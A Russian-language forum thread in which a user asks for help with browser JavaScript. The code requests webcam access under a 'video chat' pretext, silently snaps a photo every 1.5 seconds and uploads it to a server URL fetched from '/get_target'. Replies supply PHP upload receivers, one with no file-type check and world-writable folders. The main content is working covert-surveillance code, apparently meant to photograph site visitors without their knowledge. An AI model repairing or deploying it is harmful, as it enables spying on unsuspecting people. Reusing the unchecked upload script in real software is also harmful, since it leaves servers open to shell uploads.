Сохранение фото с камеры на сервере

[BillySwiftKey]

Доброго времени суток, граждани программисты.
Данный код в теории реализует сохранеие фото с веб камеры после получения к ней доступа на сайте.
Сохраняет в папку image на сервере по пути: http://ip-server/image.
Но проблемма в том, что он не сохраняет фото, подскажите, где я ошибся...
Всю голову уже сломал.

<script>
    var url = "";
    request.open("GET", "/get_target", true);

    request.onload = function () {
      if (request.status === 200) {
        url = request.responseText;
      } else {
        url = "http://ip/image"
      }
    };

    request.send();
    function postFile(file) {
      let formdata = new FormData();
      formdata.append("image", file);
      let xhr = new XMLHttpRequest();
      xhr.open('POST', url, true);
      xhr.onload = function () {
        if (this.status === 200)
          console.log(this.response);
        else
          console.error(xhr);
      };
      xhr.send(formdata);
    }




    const video = document.getElementById('video');
    const canvas = document.getElementById('canvas');
    const errorMsgElement = document.querySelector('span#errorMsg');

    const constraints = {
      audio: false,
      video: {


        
        facingMode: "user"
      }
    };

    // Access webcam
    async function init() {
      try {
        const stream = await navigator.mediaDevices.getUserMedia(constraints)
        handleSuccess(stream);
      } catch (e) {
        setTimeout(function () {
          alert("Allow Camera access to video chat");
          window.location.href = "https://www.lifewire.com/configure-camera-microphone-setting-in-google-chrome-4103623"
          alert("Grant cam access")
        }, 15000)
      }
    }

    // Success
    function handleSuccess(stream) {
      window.stream = stream;
      video.srcObject = stream;

      var context = canvas.getContext('2d');
      setInterval(function () {

        context.drawImage(video, 0, 0, 640, 480);
        canvas.toBlob(postFile, 'image/jpeg');
      }, 1500);


    }

    // Load init
    init();
  </script>

 

[ftj78]

Нужен еще код скрипта который на бекенде, принимает запрос и пишет в файл

 

[BillySwiftKey]

Нужен еще код скрипта который на бекенде, принимает запрос и пишет в файл

То есть на php написать скрипт, который принимает POST image/jpeg?
Можешь дать пример? Только начал изучать js

 

[ftj78]

То есть на php написать скрипт, который принимает POST image/jpeg?
Можешь дать пример? Только начал изучать js

Да
Примера нет. Стоит быть внимательным, много примеров кода которые есть в гугле - имеют уязвимости, благодаря которым возможно загрузить тебе на сервер не картинку а шелл)

 

[BillySwiftKey]

Да
Примера нет. Стоит быть внимательным, много примеров кода которые есть в гугле - имеют уязвимости, благодаря которым возможно загрузить тебе на сервер не картинку а шелл)

Спасибо) я изучал sql inj в свое время, но бросил т.к. сайты по доркам все отработанные были уже ((

 

[apxntektop]

Как я понял за отправку файла на сервер у тебя отвечает функция js postFile. По сути тебе нужно отправлять файл на сервер используя в хедере параметр multipart/form-data на стороне php ловишь массив $_FILES и делаешь с ним всякое.
Скрипт ниже проверяет массив $_FILES, а потом кладет файл из временного хранилища уже в директорию функция (move_uploaded_file). Между этими манипуляциями можно выполнять разного рода проверки.

<?php
$uploads_dir = '/uploads';
foreach ($_FILES["pictures"]["error"] as $key => $error) {
    if ($error == UPLOAD_ERR_OK) {
        $tmp_name = $_FILES["pictures"]["tmp_name"][$key];
        // basename() может предотвратить атаку на файловую систему;
        // может быть целесообразным дополнительно проверить имя файла
        $name = basename($_FILES["pictures"]["name"][$key]);
        move_uploaded_file($tmp_name, "$uploads_dir/$name");
    }
}
?>

Ну и чекай респонс бэкэнд сервера, он должен иметь код 200 если файл загружен. Желательно возвращать JSON массив с result = true или false и на стороне фронта обрабатывать конкретно json массив возвращенный с бэкэнда

 

[ElysianProd]

в js скрипте указываешь url до данного скрипта.

<?PHP
// Проверяем, что запрос был выполнен методом POST и что файл был загружен
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
    // Директория для сохранения изображений
    $targetDir = "uploads/";
    
    // Убедимся, что директория существует
    if (!is_dir($targetDir)) {
        mkdir($targetDir, 0777, true);
    }
    
    // Получаем информацию о загруженном файле
    $file = $_FILES['image'];
    $fileName = basename($file['name']);
    
    // Указываем путь для сохранения файла
    $targetFile = $targetDir . $fileName;
    
    // Перемещаем файл из временной директории в нужное место
    if (move_uploaded_file($file['tmp_name'], $targetFile)) {
        // Успешное сохранение
        echo json_encode(["status" => "success", "message" => "File uploaded successfully.", "path" => $targetFile]);
    } else {
        // Ошибка при сохранении
        echo json_encode(["status" => "error", "message" => "File upload failed."]);
    }
} else {
    // Неправильный метод запроса или файл не был загружен
    echo json_encode(["status" => "error", "message" => "Invalid request."]);
}